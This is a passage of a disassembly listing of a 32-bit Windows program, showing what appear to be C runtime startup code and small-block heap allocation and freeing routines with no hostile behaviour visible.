		call	sub_402FFB
		pop	ecx


loc_402F4C:				; CODE XREF: sub_402EE0+62j
		mov	[ebp+var_4], esi
		call	sub_404C58
		call	dword_408098
		mov	dword_518680, eax
		call	sub_404B26
		mov	dword_409AD8, eax
		call	sub_4048D9
		call	sub_404820
		call	sub_40293A
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_408094
		call	sub_4047C8
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_402F99
		movzx	eax, [ebp+var_2C]
		jmp	short loc_402F9C
; ---------------------------------------------------------------------------


loc_402F99:				; CODE XREF: sub_402EE0+B1j
		push	0Ah
		pop	eax


loc_402F9C:				; CODE XREF: sub_402EE0+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_408068
		push	eax
		call	sub_4017F0
sub_402EE0	endp

; ---------------------------------------------------------------------------
		mov	[ebp-60h], eax
		push	eax
		call	sub_402967
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	sub_404644
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_402978

; =============== S U B	R O U T	I N E =======================================



sub_402FD6	proc near		; CODE XREF: sub_404820+4Ep
					; sub_404820+7Dp ...

arg_0		= dword	ptr  4

		cmp	dword_409AE0, 1
		jnz	short loc_402FE4
		call	sub_404E03


loc_402FE4:				; CODE XREF: sub_402FD6+7j
		push	[esp+arg_0]
		call	sub_404E3C
		push	0FFh
		call	off_4090E0
		pop	ecx
		pop	ecx
		retn
sub_402FD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FFB	proc near		; CODE XREF: sub_402EE0+66p

arg_0		= dword	ptr  4

		cmp	dword_409AE0, 1
		jnz	short loc_403009
		call	sub_404E03


loc_403009:				; CODE XREF: sub_402FFB+7j
		push	[esp+arg_0]
		call	sub_404E3C
		pop	ecx
		push	0FFh
		call	dword_408070
		retn
sub_402FFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40301F	proc near		; CODE XREF: sub_4028D8+1Fp
					; sub_406A9F+5Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_409AE8
		test	eax, eax
		jz	short loc_403037
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_403037
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_403037:				; CODE XREF: sub_40301F+7j
					; sub_40301F+12j
		xor	eax, eax
		retn
sub_40301F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40303A	proc near		; CODE XREF: sub_402EE0+5Ap

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	dword_4080A4
		test	eax, eax
		mov	dword_51867C, eax
		jz	short loc_40306F
		call	sub_403076
		test	eax, eax
		jnz	short loc_403072
		push	dword_51867C
		call	dword_4080A0


loc_40306F:				; CODE XREF: sub_40303A+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_403072:				; CODE XREF: sub_40303A+27j
		push	1
		pop	eax
		retn
sub_40303A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403076	proc near		; CODE XREF: sub_40303A+20p
		push	140h
		push	0
		push	dword_51867C
		call	dword_40806C
		test	eax, eax
		mov	dword_518678, eax
		jnz	short loc_403093
		retn
; ---------------------------------------------------------------------------


loc_403093:				; CODE XREF: sub_403076+1Aj
		and	dword_518670, 0
		and	dword_518674, 0
		push	1
		mov	dword_51866C, eax
		mov	dword_518664, 10h
		pop	eax
		retn
sub_403076	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030B4	proc near		; CODE XREF: sub_402B18+Ap
					; sub_407632+3Dp

arg_0		= dword	ptr  4

		mov	eax, dword_518674
		lea	ecx, [eax+eax*4]
		mov	eax, dword_518678
		lea	ecx, [eax+ecx*4]


loc_4030C4:				; CODE XREF: sub_4030B4+26j
		cmp	eax, ecx
		jnb	short loc_4030DC
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_4030DE
		add	eax, 14h
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030DC:				; CODE XREF: sub_4030B4+12j
		xor	eax, eax

locret_4030DE:				; CODE XREF: sub_4030B4+21j
		retn
sub_4030B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030DF	proc near		; CODE XREF: sub_402B18+16p
					; sub_407632+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_4031A5
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_403137
		mov	[ebp+arg_4], edi


loc_403137:				; CODE XREF: sub_4030DF+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_403189
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403165
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403189
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_403189
; ---------------------------------------------------------------------------


loc_403165:				; CODE XREF: sub_4030DF+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_403189
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_403189:				; CODE XREF: sub_4030DF+60j
					; sub_4030DF+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_4031A5:				; CODE XREF: sub_4030DF+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_4031B3
		push	3Fh
		pop	edi


loc_4031B3:				; CODE XREF: sub_4030DF+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_403262
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_4031DE
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_4031DE:				; CODE XREF: sub_4030DF+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_4031F0
		mov	edi, edx


loc_4031F0:				; CODE XREF: sub_4030DF+10Dj
		cmp	ecx, edi
		jz	short loc_40325F
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_403247
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_403223
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403247
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_403247
; ---------------------------------------------------------------------------


loc_403223:				; CODE XREF: sub_4030DF+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_403247
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_403247:				; CODE XREF: sub_4030DF+11Ej
					; sub_4030DF+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_40325F:				; CODE XREF: sub_4030DF+113j
		mov	edx, [ebp+var_8]


loc_403262:				; CODE XREF: sub_4030DF+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_403271
		cmp	[ebp+arg_4], edi
		jz	loc_4032FA


loc_403271:				; CODE XREF: sub_4030DF+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4032FA
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4032CE
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4032BD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4032BD:				; CODE XREF: sub_4030DF+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_4032F7
; ---------------------------------------------------------------------------


loc_4032CE:				; CODE XREF: sub_4030DF+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4032E4
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_4032E4:				; CODE XREF: sub_4030DF+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_4032F7:				; CODE XREF: sub_4030DF+1EDj
		mov	ebx, [ebp+var_C]


loc_4032FA:				; CODE XREF: sub_4030DF+18Cj
					; sub_4030DF+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_403405
		mov	eax, dword_518670
		test	eax, eax
		jz	loc_4033F7
		mov	ecx, dword_518668
		mov	edi, dword_4080A8
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi
		mov	ecx, dword_518668
		mov	eax, dword_518670
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_518670
		mov	ecx, dword_518668
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_518670
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_518670
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_403385
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_518670


loc_403385:				; CODE XREF: sub_4030DF+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_4033F7
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi
		mov	eax, dword_518670
		push	dword ptr [eax+10h]
		push	0
		push	dword_51867C
		call	dword_408088
		mov	eax, dword_518674
		mov	edx, dword_518678
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_518670
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_404F90
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_518674
		cmp	eax, dword_518670
		jbe	short loc_4033E9
		sub	eax, 14h


loc_4033E9:				; CODE XREF: sub_4030DF+305j
		mov	ecx, dword_518678
		mov	dword_51866C, ecx
		jmp	short loc_4033FA
; ---------------------------------------------------------------------------


loc_4033F7:				; CODE XREF: sub_4030DF+233j
					; sub_4030DF+2AAj
		mov	eax, [ebp+arg_0]


loc_4033FA:				; CODE XREF: sub_4030DF+316j
		mov	dword_518670, eax
		mov	dword_518668, esi


loc_403405:				; CODE XREF: sub_4030DF+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40340A	proc near		; CODE XREF: sub_402904+Ep
					; sub_406A9F+30p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_518674
		mov	edx, dword_518678
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_40344A
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_40345A
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_40340A+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_40345A:				; CODE XREF: sub_40340A+3Ej
		mov	eax, dword_51866C
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_403481


loc_403468:				; CODE XREF: sub_40340A+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_403481
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_403468


loc_403481:				; CODE XREF: sub_40340A+5Cj
					; sub_40340A+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_4034FF
		mov	ebx, edx


loc_403488:				; CODE XREF: sub_40340A+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4034A4
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4034A2
		add	ebx, 14h
		jmp	short loc_403488
; ---------------------------------------------------------------------------


loc_4034A2:				; CODE XREF: sub_40340A+91j
		cmp	ebx, eax


loc_4034A4:				; CODE XREF: sub_40340A+83j
		jnz	short loc_4034FF


loc_4034A6:				; CODE XREF: sub_40340A+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4034BC
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4034B9
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4034A6
; ---------------------------------------------------------------------------


loc_4034B9:				; CODE XREF: sub_40340A+A5j
		cmp	ebx, [ebp+var_4]


loc_4034BC:				; CODE XREF: sub_40340A+9Fj
		jnz	short loc_4034E4
		mov	ebx, edx


loc_4034C0:				; CODE XREF: sub_40340A+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4034D4
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4034D2
		add	ebx, 14h
		jmp	short loc_4034C0
; ---------------------------------------------------------------------------


loc_4034D2:				; CODE XREF: sub_40340A+C1j
		cmp	ebx, eax


loc_4034D4:				; CODE XREF: sub_40340A+BBj
		jnz	short loc_4034E4
		call	sub_403713
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_4034F8


loc_4034E4:				; CODE XREF: sub_40340A:loc_4034BCj
					; sub_40340A:loc_4034D4j
		push	ebx
		call	sub_4037C4
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4034FF


loc_4034F8:				; CODE XREF: sub_40340A+D8j
		xor	eax, eax
		jmp	loc_40370E
; ---------------------------------------------------------------------------


loc_4034FF:				; CODE XREF: sub_40340A+7Aj
					; sub_40340A:loc_4034A4j ...
		mov	dword_51866C, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_403526
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_40355D


loc_403526:				; CODE XREF: sub_40340A+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_40355A


loc_403543:				; CODE XREF: sub_40340A+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_403543


loc_40355A:				; CODE XREF: sub_40340A+137j
		mov	edx, [ebp+var_4]


loc_40355D:				; CODE XREF: sub_40340A+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_403586
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_403586:				; CODE XREF: sub_40340A+16Dj
					; sub_40340A+183j
		test	ecx, ecx
		jl	short loc_40358F
		shl	ecx, 1
		inc	edi
		jmp	short loc_403586
; ---------------------------------------------------------------------------


loc_40358F:				; CODE XREF: sub_40340A+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4035AC
		push	3Fh
		pop	esi


loc_4035AC:				; CODE XREF: sub_40340A+19Dj
		cmp	esi, edi
		jz	loc_4036C1
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_40361D
		cmp	edi, 20h
		jge	short loc_4035EC
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_40361A
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_40361D
; ---------------------------------------------------------------------------


loc_4035EC:				; CODE XREF: sub_40340A+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_40361A
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_40361D
; ---------------------------------------------------------------------------


loc_40361A:				; CODE XREF: sub_40340A+1D6j
					; sub_40340A+203j
		mov	ebx, [ebp+arg_0]


loc_40361D:				; CODE XREF: sub_40340A+1B0j
					; sub_40340A+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4036CD
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4036BE
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_40368F
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_40367D
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_40367D:				; CODE XREF: sub_40340A+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4036BE
; ---------------------------------------------------------------------------


loc_40368F:				; CODE XREF: sub_40340A+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4036A8
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4036A8:				; CODE XREF: sub_40340A+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4036BE:				; CODE XREF: sub_40340A+24Ej
					; sub_40340A+283j
		mov	ecx, [ebp+var_8]


loc_4036C1:				; CODE XREF: sub_40340A+1A4j
		test	ecx, ecx
		jz	short loc_4036D0
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4036D0
; ---------------------------------------------------------------------------


loc_4036CD:				; CODE XREF: sub_40340A+229j
		mov	ecx, [ebp+var_8]


loc_4036D0:				; CODE XREF: sub_40340A+2B9j
					; sub_40340A+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_403706
		cmp	ebx, dword_518670
		jnz	short loc_403706
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_518668
		jnz	short loc_403706
		and	dword_518670, 0


loc_403706:				; CODE XREF: sub_40340A+2E0j
					; sub_40340A+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_40370E:				; CODE XREF: sub_40340A+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40340A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403713	proc near		; CODE XREF: sub_40340A+CCp
		mov	eax, dword_518674
		mov	ecx, dword_518664
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_403756
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_518678
		push	edi
		push	dword_51867C
		call	dword_4080B0
		cmp	eax, edi
		jz	short loc_4037A6
		add	dword_518664, 10h
		mov	dword_518678, eax
		mov	eax, dword_518674


loc_403756:				; CODE XREF: sub_403713+11j
		mov	ecx, dword_518678
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_51867C
		lea	esi, [ecx+eax*4]
		call	dword_40806C
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4037A6
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4080AC
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4037AA
		push	dword ptr [esi+10h]
		push	edi
		push	dword_51867C
		call	dword_408088


loc_4037A6:				; CODE XREF: sub_403713+30j
					; sub_403713+67j
		xor	eax, eax
		jmp	short loc_4037C1
; ---------------------------------------------------------------------------


loc_4037AA:				; CODE XREF: sub_403713+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_518674
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4037C1:				; CODE XREF: sub_403713+95j
		pop	edi
		pop	esi
		retn
sub_403713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4037C4	proc near		; CODE XREF: sub_40340A+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4037D6:				; CODE XREF: sub_4037C4+19j
		test	eax, eax
		jl	short loc_4037DF
		shl	eax, 1
		inc	ebx
		jmp	short loc_4037D6
; ---------------------------------------------------------------------------


loc_4037DF:				; CODE XREF: sub_4037C4+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4037F4:				; CODE XREF: sub_4037C4+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4037F4
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4080AC
		test	eax, eax
		jnz	short loc_403827
		or	eax, 0FFFFFFFFh
		jmp	loc_4038BA
; ---------------------------------------------------------------------------


loc_403827:				; CODE XREF: sub_4037C4+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_40386D
		lea	eax, [edi+10h]


loc_403834:				; CODE XREF: sub_4037C4+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_403834


loc_40386D:				; CODE XREF: sub_4037C4+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4038AA
		or	[eax+4], edi


loc_4038AA:				; CODE XREF: sub_4037C4+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4038BA:				; CODE XREF: sub_4037C4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4037C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038BF	proc near		; CODE XREF: sub_407632+58p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_403A6D
		test	bl, 1
		jnz	loc_403A66
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_403A66
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_403936
